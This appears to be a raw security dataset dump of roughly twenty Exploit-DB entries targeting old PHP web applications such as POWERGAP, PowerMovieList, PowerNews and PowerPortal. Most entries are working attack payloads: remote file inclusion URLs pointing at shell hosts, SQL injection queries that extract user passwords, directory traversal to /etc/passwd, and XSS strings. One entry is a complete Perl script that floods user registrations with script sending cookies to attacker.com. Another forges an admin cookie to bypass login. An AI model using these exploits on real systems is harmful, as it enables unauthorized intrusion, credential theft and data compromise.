deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2201
Description: POWERGAP 2003 - 's0x.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Saudi Hackrz

Exploit:
#=================================================================
#powergap <= (s0x.php) Remote File Inclusion Exploit
#================================================================
#                                                                   
#Critical Level : Dangerous                                 
#                                                                   
#Venedor site : http://www.powergap-shop.de   
#                                                                   
#http://www.demo-shop.com                           
#                                                                   
#=================================================================
#
#Dork: "powergap" or "s04.php" or s01.php or s02.php
#
#=================================================================
#Bug in : s01.php
#or s02.php
#or s03.php
#or s04.php
#
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/s01.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s01.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s02.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s03.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s04.php?shopid==http://SHELLURL.COM
#   or
#http://sitename.com/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=http://SHELLURL.COM
#http://sitename.com/sid=http://SHELLURL.COM
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ : SnIpEr_Sa. Alarraab. SHiKaA. King18
#www.3asfh.net
=================================================================

# milw0rm.com [2006-08-17]
Exploit-DB #32179
Description: POWERGAP ShopSystem - 's03.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-05
Author: Rohit Bansal

Exploit:
source: https://www.securityfocus.com/bid/30558/info

POWERGAP Shopsystem is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/s03.php?shopid=s03&cur=eur&sp=de&ag='[SQL]
Exploit-DB #28823
Description: PowerMovieList 0.13/0.14 - Edit User HTML Injection
Type: webapps
Platform: php
Date: 2006-10-16
Author: MP

Exploit:
source: https://www.securityfocus.com/bid/20564/info

PowerMovieList is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

#!/usr/bin/perl -w
use Term::ANSIColor;
use LWP::UserAgent;
use HTTP::Request::Common;
if (@ARGV < 6 )
{
print color 'bold green on_black';
print q(
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
##                                                                #
##           [ PowerMovieList <= 0.14 Beta ]                      #
##
## Class:     XSS Remote Cookie Disclosure Exploit && Flooder     #
## Patch:     Unavailable                                         #
## Published  2006/10/16                                          #
## Remote:    Yes
## Local:     No                                                  #
## Type:      High                                                #
## Ext:       Magic_quotes_gpc= On                                #
## Site:      http://www.powermovielist.com/                      #
## Author:    MP
## Contact:   mp01010@yahoo.com                                   #
##                                                                #
###################################################################);
print ("\nArgs: 1-> pmlSite 2->AttackerSite 3->FakeUser 4->FakePass 5->FakeEmail 6->Times 7->Proxy\n");
print ("\n@> Example Without Proxy: \n");
print ("perl $0 http://victim.com/pml/ http://attacker.com/steal.php?c= PcFreakUser Password13 tsvete\@yahoo.com 10 \n");
print ("@> Example With Proxy: \n");
print ("perl $0 http://victim.com/pml/ http://attacker.com/steal.php?c= PcFreakUser Password13 tsvete\@yahoo.com 10 -P
200.88.223.98:80 \n \n");
print color 'reset';exit(1);
}
$mpbaumqu=LWP::UserAgent->new() or die;
if (grep/\-P/,@ARGV) { $mpbaumqu->proxy("http" => "http://$ARGV[7]");};
for ($times=1;$times<=$ARGV[5];$times++) {
$mpbaumqu->timeout(100);
$mpbaumqu->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060902 Firefox/1.0.4 (Debian package
1.0.4-2sarge11)");
$mpbaumqu->request(POST "$ARGV[0]".'edituser.php?Active=index&Display=&&action=addsave&F=', ['name' =>
"$times"."$ARGV[2]", 'pass' => "$ARGV[3]", 'passrep' => "$ARGV[3]", 'email' => "<script>img = new Image(); img.src =
\""."$ARGV[1]"."\"+document.cookie;</script><"."$ARGV[4]"."$times"]);
};
Exploit-DB #8062
Description: powermovielist 0.14b - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-16
Author: brain[pillow]

Exploit:
===============================================================================================

Found : brain[pillow]
Dork  : "PowerMovieList 0.14 Beta Copyright"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

===============================================================================================

        SQL-injection # 1
        Need:   1) magic quotes = off
                2) need to be logined as registered user
        Example:
        
/edituser.php?Active=index&action=details&ID=-850'+union+select+0,name,1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15+from+pml_users+limit+1,1/*

Admin:69756f3cd326cb18036b1cb8f8e9f77f:torch

===============================================================================================

        SQL-injection # 2
        Need:   magic quotes = off
        Note:   i'm lazy to check what info is send to the email in result
                of such packet, but this injection seems to be blind.
        Example:
        
POST /activate.php?action=resendsave HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

ReSendUser=cekac' union select 0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6#

===============================================================================================

        SQL-injection # 3
        Need:   magic quotes = off
        Example:

/list.php?Active=INTERNET_OPASNOSTE'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat_ws(char(58),name,pass,email,icq),23,24,25,26,27,28,29,30,31,32,33+from+pml_users+where+name='admin'+and+1='1

===============================================================================================

        Passive XSS
        Examples:

1) /edituser.php?Active=index&Display=&&action=<h1>onotole power</h1>

2) /edituser.php?Active=index&Display=&action=&F=&fltname='><h1>upyachka,upyachka</h1><div style=display:none>


===============================================================================================

# milw0rm.com [2009-02-16]
Exploit-DB #7641
Description: PowerNews 2.5.4 - 'newsid' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-01
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #                 ...:::::powernews 2.5.4 SQL Injection Vulnerability::::....         #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
exploit:
http://site.com/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/*
----
young iranian h4ck3rz

# milw0rm.com [2009-01-01]
Exploit-DB #5082
Description: PowerNews 2.5.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-08
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-014


Application:                    PowerNews (Newsscript)
Versions Affected:              2.5.6
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        08.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts: 

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

  if ($_GET[subpage]) {
    if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
      include($_GET[page]."_".$_GET[subpage].".inc.php");
    } else {
      ?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
    }
  } else {

#################################################

Example: 

http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script pnadmin/index.php in admin area.

Administrator can include local files.

Code
****
#################################################

    if ($pnloggedin != "YES") {

      include("login.inc.php");

    } else {

      if (!$_GET[page]) { $_GET[page] = "main"; }
      if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-08]
Exploit-DB #27102
Description: PowerPortal 1.1/1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-17
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16279/info

PowerPortal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules/links/index.php?search=[XSS]func=search_results
Exploit-DB #24241
Description: PowerPortal 1.1/1.3 - 'modules.php' Traversal Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2004-06-28
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10622/info

PowerPortal is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

PowerPortal is prone to multiple cross-site scripting vulnerabilities. These cross-site scripting issues can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.

Additionally, PowerPortal is prone to an information disclosure vulnerability. It is reported that a remote attacker may reveal directory listings, by supplying directory traversal sequences to the 'modules.php' script.

The information disclosure vulnerability may be employed by the attacker in order to reveal potentially sensitive information regarding the layout of the filesystem on the affected computer. 

http://www.example.com/modules.php?name=gallery&files=/../../../
Exploit-DB #27103
Description: PowerPortal 1.1/1.3 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-17
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16279/info
 
PowerPortal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules/content/search.php?func=results&search=[XSS]
http://www.example.com/modules/content/search.php?search=[XSS]&func=results
Exploit-DB #24340
Description: PowerPortal 1.1/1.3 - Private Message HTML Injection
Type: webapps
Platform: php
Date: 2004-07-30
Author: vampz

Exploit:
source: https://www.securityfocus.com/bid/10835/info

A vulnerability is reported for PowerPortal which may make it prone to HTML injection attacks. The problem is said to occur due to a lack of sufficient sanitization performed on private message data.

Specifically, when creating PowerPortal private messages, the subject field may not be sufficiently sanitized of malicious content. This may make it possible for an attacker to place HTML or script code within the subject field of a private PowerPortal message for another user.

Subject: <script>alert(document.cookie);</script>
Subject: <script>document.location='http://www.example.com/?'+document.cookie</script>
Exploit-DB #24739
Description: PowerPortal 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2004-11-14
Author: ruggine

Exploit:
source: https://www.securityfocus.com/bid/11681/info

PowerPortal is reported vulnerable to remote SQL injection. This issue is due to a failure of the application to properly validate user-supplied input prior to including it in an SQL query. 

PowerPortal 1.3 is reported prone to this vulnerability, however, it is possible that other versions are affected as well.

http://www.example.com/pp13/index.php?index_page=and 1=1
Exploit-DB #2454
Description: PowerPortal 1.3a - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-29
Author: v1per-haCker

Exploit:
#==============================================================================================
# PowerPortal Remote File Include
#===============================================================================================
#
#Critical Level : Dangerous
#
# scripts: PowerPortal
# download: http://www.scripts.com/jump.php?ID=13698
#Version : v1.3a
#dork : Powered by PowerPortal v1.3a
# note not tested on other version :)
#================================================================================================
#Bug in :
#/index.php
#
#================================================================================================
#Vuln Code :
# think :)
#================================================================================================
#
#Exploit :
#
#http://localhost/path_to_PowerPortal/index.php?file_name[]=http://eivlCode.txt?
#
#
#================================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hetler_jeddah ; BooB11 ; FaTaL ; 
ThE-WoLf-KsA ; mohandko ; fooooz ; maVen
#thanx to str0ke :)
#and all members in XP10_hackEr Team
#WWW.XP10.COM
==================================================================================================

# milw0rm.com [2006-09-29]
Exploit-DB #6604
Description: PowerPortal 2.0.13 - 'path' Local Directory Traversal
Type: webapps
Platform: php
Date: 2008-09-27
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and NikTrix members               ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & niktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  PowerPortal 2 Local Directory Traversal Vulnerability
#
# VEndor: http://www.powerportal2.com/
# 
#
###########################################################
#
# d0rk: n/a
#
###########################################################
 
     POC :- 
	
	http://site.com/index/Gallery/?path=../../../../../../../       
   
     Live Demo: 
	
	http://demo.powerportal2.com/index/Gallery/?path=../../../../../../../

	http://demo.powerportal2.com/index/Gallery/?path=../../../../../../../dev
 
###########################################################
#
#  Bug discovered : 28 Sep.2008
###########################################################

# milw0rm.com [2008-09-27]
Exploit-DB #29615
Description: Powerschool 4.3.6/5.1.2 - JavaScript File Request Information Disclosure
Type: webapps
Platform: php
Date: 2007-02-19
Author: gheetotank

Exploit:
source: https://www.securityfocus.com/bid/22611/info

Powerschool is prone to an information-disclosure vulnerability because the application discloses information about administrative session variables.

An attacker can exploit these issue to obtain sensitive information that may aid in other attacks.

This issue affects Powerschool 4.3.6; other versions may also be affected.

UPDATE: Powerschool 5.1.2 is also reportedly affected by this issue, in a limited fashion.

http://www.example.com/admin/.js
Exploit-DB #9219
Description: powerUpload 2.4 - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-07-20
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: PowerUpload

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: 
 
              >>> http://www.cyb3r.1st/ [path] /admin

              >>> javascript:document.cookie="myadminname=YWRtaW5=";

<<->> to fix 
      contact :: support@powerupload.com 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ]

<<->> special greetz to tryag acadamy members

# milw0rm.com [2009-07-20]
Exploit-DB #36766
Description: Powie pFile 1.02 - '/pfile/file.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-13
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51982/info
 
pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
pfile 1.02 is vulnerable; other versions may also be affected. 

http://www.example.com/pfile/file.php?eintrag=0&filecat=0&id=%24%7[xql]
Exploit-DB #36765
Description: Powie pFile 1.02 - '/pfile/kommentar.php?filecat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-13
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51982/info

pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

pfile 1.02 is vulnerable; other versions may also be affected. 

http://www.example.compfile/kommentar.php?filecat=[xss]&fileid=0